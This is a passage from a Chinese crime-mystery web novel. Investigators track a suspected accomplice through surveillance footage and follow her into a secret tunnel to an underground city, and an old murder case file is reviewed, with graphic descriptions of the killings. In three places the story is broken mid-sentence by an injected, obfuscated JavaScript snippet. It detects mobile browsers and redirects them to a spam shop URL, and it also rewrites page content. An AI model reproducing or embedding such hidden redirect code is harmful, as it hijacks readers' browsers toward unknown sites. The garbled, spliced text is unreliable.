乔琅正在看川城的监控,她抬手比划右上角的时间给燕逸岫看:“早上五点到九点之间的监控消失,我正在锁定附近车辆交给怀霖搜集车主信息,这里人员密集,要避人耳目带着这么明显的一具尸体到这儿来,必须得借助交通工具对吧?” “本就住在川城的居民呢?” “系统从大数据库中调出了所有居民资料,渊知正在根据万德一案中的信息进行对比排查,大队长说反派不会把尸体扔在离自己特别近的位置,所以恐怕找不到什么,但可以顺便把有关昆隐棋的线索加入对比,看看有什么收获。” 燕逸岫手支着下巴,眯起眼看浮在空中的一面面虚拟屏:“监控录像追溯到昆隐棋消失之前都没有发现她从哪条路进入这片居民区吗?有没有可能是走地下通道?比如地下城或者下水道。” “这附近没有地下城的出入口,所以不是,下水道就不确定了。” 乔琅说着,又若有所思地摇头喃喃:“走下水道确实很隐蔽,监控也不好查,但也很危险,而且如果她真是用这个方法躲开大家的追踪,那她不应该一直走下水道吗?为什么那天却出现在地面,暴露了自己的身影?” 两人都陷入沉思。 旁边一部分调着加速的监控录像播放到了晚上,环境逐渐变暗,路灯亮了起来。 一点又一点的灯光缀在画面中,犹如夜空中长亮的星星。 看到这些,乔琅暂时岔开了话题:“我刷到新闻说下个月有一场很壮观的流星雨,很适合露营观赏,我特别想去看……” 接着她又软绵绵趴在桌上:“我想招呼大家一起去,不过我们不能一起出现在外人面前,而且案子的线索也理不清顺不完,恐怕去不成了。” “说不定呢,说不定我们在那之前就能抓到反派,到时候一定全部陪你去。”廖怀霖带着笑的声音从门外传来。 她拿着两瓶矿泉水走进屋里,放在两人面前。 “谢谢,”乔琅接过水,仍然趴着,歪过头看向廖怀霖,“要是真的可以早点抓住反派就好了,如果能活着回家,我一定要好好拍下今后的每一场流星雨。” “那就继续努力查案吧,”廖怀霖把自己的虚拟屏展开,“今天早上出现在川城附近的车牌我都查了,没有什么与万德一和昆隐棋有关的,但是——” “但是?”燕逸岫和乔琅异口同声,凑得更近。 21. 毒与恨 温簌抬手轻轻敲了三下,得到回应后打开门进入病房,来到姜韫身旁。 “队长,今天感觉怎么样?” “好多了,你那边情况如何?” 温簌放大微系统屏幕,调整好位置和方向,让内容能展示得更清楚,方便躺着的姜韫浏览。 上面记录着一串时间线和活动行迹。 “这两三天彭嵘基本没有课,所以她差不多一整天都在外面跑兼职,发宣传单、搞活动还有摆展台之类的,晚上才回学校,我录下了所有她接触路人的过程,晚些会发到群里和大家一起分析。” “之后几天彭嵘的课表比较满,她会待在校内,跟踪要怎么继续?” “我会让系统给你安排一个身份进校,你进去后多关注她的日常活动轨迹,看看她都在跟什么人接触。” “明白。” “一直没露出马脚啊……” 姜韫叹息,伸手滑动屏幕,最后指尖停在她的照片上。 彭嵘穿着白衬衫,戴着黑框眼镜,面无表情对着镜头。 “就是她,”廖怀霖指了指彭嵘的照片,“她是队长她们查到的第四起案件的可疑人员,也就是温簌一直在监视的对象,她的车昨晚出现在川城附近。” “哪一辆?昨晚几点?”听到有线索,乔琅瞬间打起精神,直起腰开始截取昨晚的监控拖动到最前面。 谭誉道整理完唐映清的证词内容,在微系统上传了第十二起案子的资料。 死者是商场五楼一家奢侈品店的老板,名为谢舒灵,行事风风火火,心直口快,社交圈广,在生意场打拼多年,口碑良好,没有与客户和亲朋好友发生过什么严重矛盾。 去年11月26日,她从天均区出发,来到天锦区的这家分店视察工作,期间上了一次厕所,就没有再回来。 店长打过一次电话给她,但无人接听,她只当谢舒灵是因为工作上突然有急事直接回总部了,就暂时没有再打电话打扰。 后来看到许多人匆匆忙忙从店门外经过,谈论着有人死在女厕里之类的话,店长才有了不好的预感。 谢舒灵的死因是中毒,死前经历极大痛苦,她双眼瞪大,手在喉咙抓出数道血痕,四肢扭曲。 法医从她体内检测出多种远超致死量的毒物,如□□、眼镜王蛇毒还有几种未知的毒物。 凶手用她呕出的黑血在门板上画下了婴儿图案。 检验鉴定工作人员后续提交报告指出,被害人体内有几种未知毒物属于自配而成,在此之前并未在其它地方出现过,因此判断凶手或者给凶手提供药物的人精通毒理学,并且有渠道获取相关不流通于市面的危险材料。 之后,樊隽远的母亲樊昭来到警局做笔录。 她一身职场精英的打扮,神情严肃:“我那天带着丈夫和儿子到商场吃饭,进入停车场转了几圈找空位,就发现了尸体。” “没错,我开车进去后,是有一辆红色小车在不远处,拐了个弯去了二区……没看到,抱歉,我注意力都在找停车位上,只是因为红色亮眼才瞄到了它,并没有关注车牌号。” 提起现场的场景,她变得更严肃,倾身向前,两手交握放在桌上:“那个人靠坐在墙根,我本来以为是哪个酒鬼喝晕了随地躺或者是谁生病晕倒了,就下车过去看看。” “走近了才发现了墙上有那个大家都害怕的血淋淋符号,而且坐在地上的人手脚都……不是正常人能摆得出的姿势,血腥味也很重,我就想这肯定是新的被害者了。” 第六起案子发生在天烁区,死者是知名工作协助机器人专卖店的销售员孔振吉,7月5日,他在上班期间离开门店消失,无法联系上,两小时后尸体在隔壁商场地下车库被人发现。 孔振吉被钝器反复殴打,全身多处粉碎性骨折,几乎变成一滩肉饼,死状可怖。 停车场并不是第一案发现场,没有大量血迹,也没有凶器,警方推断那辆红色小车很可能就是运载尸体的交通工具。 这一案的第一现场也成了谜,至今未解。 孔振吉的朋友曾提供了一条线索,孔振吉在死亡前一天情绪比较兴奋和紧张,打电话聊天时提到过如果这个月成为销冠就请朋友们搓一顿高档的。 谭誉道在资料底下备注:与江平延案相似,凶手以工作利益相关引诱被害人到指定地点进行行凶。 警员又问道:“除了血腥味之外,你在现场还有闻到别的气味吗?” 樊昭垂眼沉思:“毕竟这事过去很久了,我得仔细想想……” 她慢慢闭上眼,眉头紧锁。 半分钟左右后,她再次看向坐在对面的人:“血的气味太浓,几乎闻不到别的,不过好像是掺杂着一丝丝蜂蜜还是麦芽糖的味道,我说不上来,也可能是我闻久了血腥味而产生了错觉。” 樊昭的笔录结束后,轮到了她的丈夫周明旗,不过他和他儿子一样,由于没有靠近现场,提供不了多少线索。 问完所有问题,结束笔录后出了询问室,谭誉道和樊昭等人一一握手,感谢她们抽空前来警局一趟重新做笔录。 这时警员偏过头发现唐映清还坐在休息室里没有离开,正低着头一下下拨弄着自己棕色卷发的发尾。 于是她便来到唐映清身边询问情况。 “不好意思,我突然又想起了一件事,”唐映清着急地站起来,抬手比划着,“我快走进里面卫生间时,那个女生的身影还在我视野最角落,我想起来最后一个画面是她洗完手后扣内搭衬衫的纽扣,用左手的,是不是说明……她可能是左撇子?” “找到了,在这儿。” 乔琅根据车牌号和时间锁定了车辆,开始反复播放录像追踪彭嵘的路线,找出她上车和下车的地点。 彭嵘从学校大门打车出发,最后停在了川城附近的街道,下车后走进幽深的巷子里。 乔琅放大画面辨认彭嵘的样貌,接着框出她步行的几秒画面,放慢速度反复播放,聚精会神盯着,快速总结出她走路姿势的个人特征。 随后她就将屏幕上所有监控时间调到彭嵘进入巷子的22:36,开始播放。 燕逸岫站在一旁,目睹她像看电影似的轻轻松松找到了一个又一个,在屏幕上分别标注数字,梳理顺序和路线。 “啊,是这个人吗?又找到了?好厉害……”廖怀霖啧啧赞叹,“当初追踪测试可是差点把我眼睛看瞎了。” “熟能生巧嘛。” 十几分钟后,等看完监控里所有彭嵘出现过的踪迹,乔琅忍不住感慨道:“都没有逸岫难找。” “啊?我怎么了?”见突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564319|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯到自己,燕逸岫有些茫然。 乔琅转身直视她:“像我这种对人脸几乎过目不忘的水平,每次看监控找你都要花时间,光盯着五官的话真的很难注意到,因为没有比较特别的记忆点,其实我都只能靠走路姿势才认出你在哪里的。” 谢、谢谢夸奖……? 乔琅怕她误会,拉住她的手腕晃悠几下解释:“哎哎别误会,我可不是在贬低你什么,你长得秀气秀气的,但是很奇怪就是让人不太记得住,脸上没有痣,五官特征也都中规中矩,对于我这种需要看特征寻人的任务来说,你这样没有特殊记忆点的反而特别难找。” “该怎么形容……一种不特别的特别,简直天生就是干特工的料,最适合出外勤去跟踪埋伏什么的了。” 燕逸岫笑了起来:“我没误会。” 因为……其实她看早上的监控时也没认出来哪个是自己。 燕逸岫一直都知道自己在人群中不显眼,为了不被人注意到,能好好当个社恐小透明,她还会刻意压低自己的存在感,让自己更不起眼,能够安心窝在不被人关注的舒适圈。 廖怀霖也跟着调侃几句,然后弯腰浏览了一遍整理出来的路线:“所以……彭嵘最后消失在……这里了?” 她指了指监控上的一扇门。 “不知道和万德一的案子有没有关系,我问问大队长。” 燕逸岫打电话给姜韫说明情况,得到允许后立刻出发前往监控上彭嵘消失的地点查看,顺便也再去川城一趟,继续早上没完成的任务。 川城居民人口密集,庞大复杂的筛查比对工作一直进行到深夜。季渊知将已完成的部分归类,准备先回家吃饭洗漱,将剩下的一小部分放着睡前处理完。 离开研究室时,她看到乔琅和廖怀霖也在门外,但廖怀霖却是打了个招呼,又返回她自己的单人工作室。 “你还不回去吗?”季渊知问道。 廖怀霖边走边伸了个懒腰,背对着她们挥挥手:“我的工作才刚开始呢。” “你还要忙什么?旧案相关的我们明天再一起配合查吧,经常熬夜容易生病甚至猝死的。” 听到乔琅的话,季渊知附和地点点头。 廖怀霖扭头朝她们看来,扬眉笃定地说道:“放心,我有休息的,至于忙什么……你们以后就知道了。” 说完,她转身走进研究室里,门自动关闭了。 夜里的湖像野兽假寐闭上的眼。 一点橘色火光在黑暗中忽明忽暗,像是在应和逐渐靠近的脚步声。 一个人影停在他不远处。 靠在柳树下抽着烟的人吐出一团暗色烟雾,扭头看向来人:“好久不见。” 对方沉默。 “你还是没变呢。”他扬起尾音,语气多了几分戏谑。 另一人的情绪因为这句话而陡然发生变化,不由地攥紧拳头,胳膊上青筋暴起。 “又生气了?被我说中了?所以为什么还不放弃?我说了,我能让你得偿所愿,你明明动摇了,却还假惺惺维持着那不知道给谁看的可笑道德感。” “……” “好好考虑吧,”他悠哉拨开被风吹着扫到脸上的柳枝,明知对方看不清,却还是眯起眼笑,“游戏就是要有挑战和刺激,才会让人全身心投入啊。” 22. 地下城暗道 十几个枪口对准燕逸岫的脑袋,无声对峙着。 燕逸岫僵在原地,两臂垂在身侧,手指不受控制地微微动了动。 这些人的呼吸声都又轻又稳,显然是训练有素,并非随随便便就能糊弄过去的。 她闻得到空中弥漫着一股浅淡的硝烟味,表示其中几支枪才刚发射过子弹不久,不知道是送了哪些倒霉鬼去西天。 真是要命。 燕逸岫暗自咬牙。 下午,她按照乔琅标注出的路线图来到川城附近的安居街,一步步循着彭嵘走过的路探索。 安居街的楼房比川城晚了五六年建起,不过经历了无数风吹雨打日晒,白墙也早已灰黑,爬满藤蔓,路边人家门前种着一盆盆花草,绿意盎然,环境幽静,与川城没什么太大差别。 正是一天中阳光毒辣气温最高的时候,没有多少人在户外活动。虽然燕逸岫打了伞,尽量躲在阴影处走,仍然觉得浑身快被暑气烧到三度烫伤。 拐了七七四十九道弯,她终于来到了彭嵘消失的地方,一条巷子出口处的铁门。 透过半边铁栏杆的空隙,燕逸岫看到里面是更破败的墙,散落着座座矮屋,门前竹竿上晾着的老人衣服在静静地晒太阳。 出了这道门,就来到了更贫穷的边缘地段,这里甚至没有地名。 新世界的公民如果连这片地区都住不起,那就只能到不见天日的地下城蜗居了。 燕逸岫拉开铁门,迈步跨出去。 铁门开合的摩擦声打破了周遭的平静,但很快就又恢复如常,没有人或动物循声出现看看是谁。 燕逸岫也不由地放轻脚步,边走边四下张望,总觉得静得不正常,像来到了坟场似的,平日里嫌蝉鸣声聒噪,可是这儿连蝉鸣都听不到。 这片区域没有监控,因此无法确定彭嵘去了哪里、做了什么。 燕逸岫打开系统提供的地图,边走边拍了几张照片,不忘继续扮演好摄影师的伪装角色。 荒凉寂静的小村落别有一番古老沧桑的美感,燕逸岫被这片氛围吸引,拍照也认真了几分。 她将镜头对准半扇映着蓝天流云的窗户,触屏按下快门。 不到一秒钟的时间,生成的照片中,另半边窗里多了一张苍老的惨白人脸。 ……青天白日的,这是什么恐怖片情节。 燕逸岫硬着头皮再次往上看,就与出现在窗前的老太太相视了。 老人眼皮松垮耷拉,混浊的眼中仍然有几分凌厉,她以审视的目光将站在小路中央的年轻女生打量几遍,才冷冷问道:“你在干什么?” 极其粗哑的声音刮过耳朵,燕逸岫顿时一阵发毛,赶紧清了清嗓子回答:“我是自由摄影师,来这边采景……” “穷乡僻壤有什么好拍的,”老太太打断了她的话,声色俱厉,“我看你也是那群混子里的人,三天两头跑来闹事,赶紧从哪来回哪去,别再跑地面上来招惹我们,别以为报警没用我就拿你们没办法。” 跑到地面上? 见老太太抓住窗帘就要拉上,燕逸岫连忙迈开大步凑过去:“等等等等,阿婆,我真不是什么混子啊,我不是坏人不是来惹事的,您刚才说的那些人是地下城的吗?地下城的人为什么要来这里闹事?” “我哪知道为什么?跟那群疯子有什么道理可讲。” “我家孙女就是被那群人带坏了,几个月不回来,也不知道有没有在外面犯什么大罪。” “明明可以在这里好好生活,结果被那群死混子骗走了,还把自己的所有资产转到我名下,自愿降为地下城公民,被困在那个没有太阳的地方。” 老太太越说越气愤,开始滔滔不绝。 燕逸岫扒着窗台认真听着,等她念叨完后急切问道:“这附近难道有地下城的出入口吗?” 阳光依旧炙热,强烈的光线让燕逸岫不得不半眯起眼,撑着伞继续在村尾寻找。 据老太太所说,村里有人偶然见过几次那些混混从村尾冒出来,具体是哪里就不得而知了。 她已经弯着腰在这片杂草丛生的地方找了十几分钟,热得快要中暑,却仍然没有收获。 真的是这里吗? 燕逸岫直起身,用力捶几下自己酸痛的腰,再擦擦流到脸颊边的汗。 休息一分钟后,她打起精神继续寻找可能的出入口。 不一会儿,她看到了石墙边掩在杂草丛后的一口井。 燕逸岫趴在井边朝里张望。 是口枯井,似乎很深,这么亮的天光照着都仍然黑洞洞的看不见底。 她略一思索,从旁边地上找了块石头扔进井中,在心里默数时间,直到听见石头落地的回响。 燕逸岫蹲了下来,抿着唇思索,手指边敲着粗砺的石头表面。 跳进去会不会受伤是一回事,万一有别的路并且有危险又是另一回事。 如果只是一口普通枯井,她爬不上来可以联系队友过来救她,但如果是有危险,其她人可来不及赶到这里。 燕逸岫拨拉着井边的草,在心里权衡了一会儿,最后决定跳进去看看。 单独一人行动时,她的胆子就变得格外大,什么都敢冒险。 她收起伞,向姜韫汇报本次行动进行报备,接着把衣摆塞进裤子里,两脚试着踩住井壁,一点点滑下去。 到达井底后,她踩着坚实的地面,松了一口气,随即打开手电筒。 果然,井壁一处有一块被木板遮住的洞口。 燕逸岫靠在上面仔细听了一会儿,没察觉里面有什么动静,于是鼓起勇气移开了木板,猫着腰往里面走。 这条通道很长,一会儿向上一会儿往下,拐了几个弯后,她终于看见了前方的一点光亮。 出口也是一块木板挡着,蹭了一身泥土的燕逸岫谨慎地确认了外头没声响,才小心翼翼挪开了木板,看到外面的场景。 接下来她就被枪口包围了。 燕逸岫按捺住情绪,暗地里调动五感听她们手中的动作,准备随时躲避,边飞速扫了一眼她们的面容。 有男有女,都是一副时下流行的穿着打扮,个个眼神不善。 而她灰头土脸立在中间,相比之下万分狼狈滑稽。 “手里拿的什么?”终于有人打破了沉默。 “伞。”燕逸岫轻声回答。 “伞?” 燕逸岫慢慢伸出手,举起折得整齐的伞给她们看:“外面太阳大,晒得很,所以我打了伞,不是武器。” 她们一个个互相看看,毫不客气地讥笑:“能住地面上,还嫌太阳大,果然有钱人都是不知足的。” “就是,哪天家里破产被赶来地下城住了,到时候想多晒晒太阳都晒不成,也不知道会不会天天哭鼻子呢。” 燕逸岫眨了眨眼,没吭声。 “你为什么从这条路出来?来干什么?” “我来找虞瓷。” 听到这个名字,那些人忽然又静了下来,不再嬉笑说话。 燕逸岫敏锐地感受到气氛变得有些怪异。 她眼帘半垂着,一副安静无害的模样,假装没注意到她们的情绪变化。 “谁告诉你这个名字的?”其中一人问道。 “虞阿婆。” 闻言,另一个绑着高马尾的丹凤眼女生挪开了枪口,挑起眉认真盯了她一会儿,才说道:“她?她跟你说了什么?难不成叫你来劝人回家?” “你就是虞瓷……”燕逸岫扭头直视她。 对方不耐烦地啧出声来,枪口又重新瞄准了她的脑袋。 燕逸岫立刻板着死人脸转回脑袋,一本正经回答:“不是,我只不过偶然路过安居街附近,和虞阿婆聊了几句,正好闲着没别的事,我就想来地下城取取景,顺便替阿婆找下她孙女,看看她过得好不好,我是个摄影师。” 边说着,她弹出虚拟屏展示系统为她伪造的身份信息。 虞瓷给身边的人甩了个眼神,对方马上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564320|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫描确认,很快对虞瓷点点头。 “那你怎么会找到这个通道?” “我听村里人说见过有几个似乎是帮派的人在村尾出没,就试着到那儿去找了找,结果发现了一口井,不知怎么的脑袋一热就跳下来探探情况,想看看能不能走到地下城来。” 虞瓷意味不明地嗯了一声,停了一会儿,率先放下了枪。 其她人见状也陆续收回武器。 屋中气氛顿时轻松了不少,燕逸岫心中悬着的石头也晃晃悠悠放下。 “跟我来,我带你出去吧,我们外面聊。”虞瓷招招手,转身迈步往前走,高马尾在脑后左右来回飞扬。 燕逸岫应了一声,连忙低着头大步跟上,随着她穿过一条条走廊,走出了教堂。 “这里是……” “我们这些人平时聚会的地方,我姥姥跟你说什么了?” 燕逸岫迟疑着把虞阿婆的那些抱怨大致复述一遍。 “翻来覆去就是那些话,”虞瓷不耐烦地翻白眼,语气也开始有些冲,“天天念叨也不嫌嘴巴累,我就爱住地下城怎么了,多管闲事。” 地下城,是生活水平低于贫困线的新世界公民生活的地方。 若个人资产以及家庭资产够不到标准线,就会被划分进地下城居住,只有资产超过了标准并有额外资金全款购房的个人才能申请搬到地面。 地面上的人可以随时下来,但地下城的人由监管局统一登记管理,每个人只有在12:00—14:00之间能到地面上活动一小时,并且每周只有三次机会。 如果有人违反规定超时未回归地下城,他的芯片数据会自动提交上报到监管局,工作人员将扣除此人一部分资产并将其关禁闭三天。 倘若地下城居民在地面上找到工作,便可以向上申请审批,获得工作日期间的自由通行权。 不过这类人少之又少,因为基本不会有人愿意雇佣地下城的贫困人员工作,签署上下之间的通行手续及相关合约也尤其复杂麻烦,耗费时间精力。 “如果你是要劝我回家,那我劝你死了这条心吧。”虞瓷风风火火大步走着,边丢出一句话。 “我没有这个打算。”燕逸岫摇头。 她本来就是打着这个幌子进入地下城搜集情报,盘算着万一遇得上相关帮派成员的话就顺便帮虞阿婆看一眼孙女是否平安。 陌生人的故事她不清楚,只是听她们嘴上各说各的而已,她并不知道对方究竟真实经历了什么才会产生自己独特的想法,自然不会多管闲事,站着说话不腰疼。 “那是最好不过了。” 燕逸岫打量着她的打扮和配置,试探开口:“你似乎权力很大,她们都等你动了才跟着放下枪。” 虞瓷哼笑一声摇摇头:“一个小组的头头而已,在整个帮派里也只是底层的小喽啰,哪谈得上有什么权力。” “那……你们对炎穆帮了解吗?” “挺神秘的,我们接触不多,你问这个干什么。” “好奇,”燕逸岫立刻回答,一脸的老实本分,“以前都没见过你们这种帮派,只在书里看过一些记录,听人提起过几句吓人的传闻,也不知道是不是真实的。” “你们地上的人锦衣玉食,被家人捧着护着长大,怎么会跟帮派扯上什么关系,”虞瓷不屑地撇嘴,“没错,有的帮派很可怕,千万不能随便招惹的,特别是你们这些地上的人,本就是他们的仇恨对象。” “要不是你是被我姥姥使唤来问七问八的,我们也懒得跟你废话,直接给你吃个枪子。” “你本来不也是地面上的公民吗?”燕逸岫听着她翘起嘴角吓唬人,壮起胆子反问。 “我那算什么家?提起来就烦,反正我把钱都留给姥姥了,她自己也能过得很好,还不用受我的气,美得很呢她。” “对了,那个秘密入口是只有你们帮派的人知道吗?”燕逸岫东扯西扯半天,终于假装不经意地问到了她最想知道的内容。 23. 鬼针草 虞瓷点头,告诉她其实也不是整个帮派,只有其中一小部分人知道而已,是当初她们几个人图方便私自挖的地道,只为了能更快通往地面,不用受一堆盘查。 “如果被监管局发现会不会有事?” 虞瓷满不在乎,耸耸肩:“被发现就被发现呗,我们又没用来干什么坏事,大不了就是被抓去蹲几天禁闭,扣光我的资产,随便扣嘛,反正也没剩几个钱。” “那之前还有像我这样误打误撞闯进来的人吗?你们每次都这样打招呼?” 燕逸岫指了指她配在腰间的手枪,带了点笑意问道。 “没有,你是第一个,高兴吗?”虞瓷抱起双臂歪头转向她,上挑的眼尾像毛笔笔尖游走出的锋芒。 “高兴,高兴,哈哈。”燕逸岫皮笑肉不笑地点头。 她又扯了几个地下城的话题,不敢第一次碰面就问起太多关于某个帮派某个人的事,显得目的性太强,惹人怀疑。 两人聊着天逐渐走到人流密集的地下城东部中心区,喧闹声逐渐清晰,叮叮当当各种杂音萦绕于空中。 “好了,到这儿你应该会走了吧?”虞瓷一手插回裤兜里,懒洋洋打个呵欠,“自己去玩吧,我可不陪小朋友逛街,路痴的话随便扯个路人问问就好了。” 说完她转身就走,像是生怕被缠上。 “我可以拍张照片吗?我好跟虞阿婆说你平平安安过得很好。”燕逸岫朝她的背影小声喊道。 虞瓷摆了摆手,没有回头:“随便吧,谢啦——” 目送她走远,消失在道路尽头,燕逸岫才低着头混进人群中,漫无目的地往前走,心事重重。 彭嵘会不会就是从这个秘密通道进入了地下城做什么事或者与某人碰头?她会不会也是帮派的其中一员?如果不是的话,她到底去了哪里?她和万德一的死有没有关系? 从地下城出来后,燕逸岫先回了安居街巷后的村子里,依照承诺向虞世青阿婆报平安,给她展示了自己拍下的虞瓷背影。 “她再这样下去,迟早有一天要出事,”老太太听了燕逸岫的话后没什么表情,垂眸随意瞥了一眼,就背着手转身往屋里走,“我是救不了她了。” 从开着的门里,燕逸岫看到了屋中一角。 餐桌上摆着孤零零一道素菜,大概是老太太中午吃剩的。 放眼望去,她瞧见柜子上立着许多张双人合影。 年纪大的是虞阿婆,依偎在身旁的人有的是稚嫩的孩童,有的是长大的女孩,只从那浓眉和特别的丹凤眼就能辨别出是虞瓷。 显然她从小和姥姥关系很亲。 再仔细看一圈,燕逸岫没有发现任何一张疑似虞瓷父母的照片,从家中摆设陈列也能推断出这里只有虞阿婆一人独居。 为什么她会和最亲的姥姥关系破裂,为什么要清空自己的资产自愿跑到地下城居住,为什么突然选择加入帮派,燕逸岫的直觉告诉她,虞瓷的转变似乎是有什么难言之隐。 但毕竟是第一次见面,燕逸岫对她们来说只是个陌生人,她不好问太多私事冒犯人家,于是打了声招呼就准备离开。 “等一下。” 熟悉的沙哑声音在背后响起。 燕逸岫收回脚步,看到虞阿婆重新出现在门边,手里拿着一个还没巴掌大的盒子。 “小妹,下次如果你还去地下城,如果还能碰到我孙女,能不能麻烦你把这个交给她?” 燕逸岫望着伸到自己面前的盒子,迟疑地抬头。 老人此刻的神色是她一时看不透的复杂,那股沉闷的情绪似乎顺着呼吸游入她体内,重重伏在心脏上。 虞阿婆和虞瓷……到底经历了什么事? 她抬起手,接过了盒子:“好,我会去的,但是如果我没找到……” 话还没问完,虞阿婆就已经转身进了屋,苍老的声音越来越远:“那你就自己拿着,或是随便找个地方扔了吧。” “还有,今天……谢谢你了,小妹。” 之后,虞阿婆不再说话,四周又恢复了寂静。 燕逸岫将盒子郑重放进裤口袋最里边保护好,说了句“那我先走了”就离开了这片冷清的地区。 走着走着,她忽然感觉到一道没有恶意的视线落在自己后背,追随着她很久很久。 燕逸岫没有回头。 直到她转弯踏上另一条路,那道注视才就此消失,像即将燃尽的烛火被轻轻吹灭。 燕逸岫来到了最初的目的地。 川城是昆隐棋曾经出现过的地方,几天后万德一的尸体就被反派放在这里让人发现,似乎太过巧合。 所以这有可能是反派特意留给昆隐棋的警告和威胁。 她究竟是用了什么手段隐藏自己,连反派系统都找不到她。燕逸岫对昆隐棋的能力越发好奇。 也不知道接收到信息的昆隐棋会作何反应,是继续躲藏逃亡还是妥协露面回到反派组织里。 她的祖辈全都已经过世,父母身为国家高级科研人员,被派去进行秘密项目研发,早就销声匿迹多年,昆隐棋本人又是未婚未育,可以说她几乎无牵无挂,反派根本抓不到她的把柄和软肋,也就无可威胁。 时间逐渐来到傍晚,天色渐暗,窝在家中避暑的人们也陆陆续续走出房门,来到户外活动,呼吸新鲜空气。 燕逸岫坚持贯彻自己的今日人设,到处走走拍拍,蹲在角落观察跑来跳去的流浪猫。 实际上她以此为掩护,仔细听着来来往往的人闲聊,想碰碰运气看能不能捕捉到一点不太寻常的信息。 可惜直到天黑,她都没有收获什么特别的线索。 逗留太久会惹人注意,燕逸岫只好先打道回府。 回家后她打开温簌上传的视频,边吃饭边了解彭嵘今天一整天的活动。 早上她在学校附近的商场里负责宣传活动,傍晚则是趁着人们出来散步在居民区周边分发传单。 燕逸岫反复观看几遍,并没有发现什么异样。 接着燕逸岫翻开档案,找出第四案的全部资料。 去年5月9日,结束晚课的大学生们带着书匆匆忙忙出了教学楼,赶着去打卡夜跑或是回宿舍洗漱。 其中两名学生小跑着回宿舍,偶然间发现了道路边的大树上有什么长条的东西在随风摇晃。 路灯离得有些远,光亮照不到树的背后,她们只能看到一道深色黑影。 两人好奇凑近了去看,才发现是有个人吊死在树上。 陈奥典,天烁区C大的大一学生,汉语言文学专业。平日有些文邹邹的,喜欢卖弄自己读过什么小众的文学古籍,时不时来一句高深的文言文让大家一头雾水或者考一考别人的文化底蕴。 虽然同学们对他的这一性格颇有微辞,但似乎并不至于恨到杀人泄愤的程度。 陈奥典并非自缢,而是凶手在残忍杀害他后特意花费时间将他吊上树布置成这一姿势。 陈奥典的嘴部被斧头类的凶器劈砍,伤口很深,脑袋几乎因此横截断裂一分为二,脖子被管状物从前往后贯穿,留下了个巨大的血洞。 而反派的特征符号就位于他所吊位置的正下方,画在一块白布上,平平整整铺在地面。 蜷缩的血色婴儿,垂直悬挂于符画中心上的人,这副场景,仿佛是某种宗教的祭祀仪式,让人脊背发凉。 向来安全平静的校园内发生如此惊悚的惨剧,凶手又是先前已经犯下三起案件的连环罪犯,一时间校方、家长和学生都陷入极大恐慌。 各高校因此开始实行封闭管理,限制出入,严格检查每个进出人员的身份信息。 直到半年后,各校才陆续解除封闭式管理,恢复常态。 1队成员穿越到新世界后,深入调查了陈奥典 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564321|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从小学到大学的所有人际关系,以及他在凶案发生前三个月内的动向。 最后她们将注意力放在了一个名为彭嵘的学生身上。 彭嵘同样就读C大,大二,是新闻传播专业的学生。 她可谓是顶级时间管理大师,同时担任班长、校宣传部部长和校艺术团策划组组长,专业课选修课水课一节不落,积极参与部门活动、假期社会实践、各类社团活动,校外还跑兼职,得闲就泡图书馆自习,还有参加各类竞赛…… 她每天有条不紊地忙个不停,永远充满精力。绩点第一,工作出色,证书和奖学金拿到手软,是人人钦佩的高能量学霸。 但就是这么个看似最不可能是坏人的优秀学生,成了姜韫她们关注的嫌疑人。 陈奥典是校宣传部编辑组的一员,大一新生时加入,之前与部长彭嵘没有太多直接交流,但近期两人接触次数逐渐频繁了起来。 原因看似也不奇怪,这一年的六月是C大100周年校庆,格外隆重,全校各大部门都早早开始忙着做准备。 身为校宣传部部长的彭嵘与部门成员也多次开会讨论,一起商量怎么把校庆活动办得更好。 有几次彭嵘在路上碰到陈奥典,也会笑着和他打招呼,顺路一起走,边聊一聊部门工作相关。 之后不久,陈奥典就被残忍杀害了。 法医判定陈奥典的死亡时间为晚上八点到九点之间,这段时间里彭嵘一直待在图书馆自习,没有离开过座位,监控为证,她有完美的不在场证明。 但姜韫及警局等人根据所有线索推测,都认为杀人和画下符号的有且仅有一人,这个连环杀人犯不直接与被害者进行社交接触,而是靠帮凶将被害者骗到指定地方,再由他最后关头动手。 因此,死亡时间段的不在场证明其实并不作数。 将案发当天校内监控往前翻,行动组成员发现,宿舍楼监控记录到彭嵘傍晚五点多和舍友们吃完晚饭回来,又在六点左右独自出了门,七点半才到图书馆。 这中间的一个半小时,她不见踪影。 陈奥典也在这段时间中离开了宿舍,“宙”中没有留下任何记录,没人知道他去了哪里,是不是被谁叫走。 锁定彭嵘后的几个月,1队成员一边处理每月必发生的杀人案,一边派人轮流跟踪彭嵘,不断深挖她的个人信息。 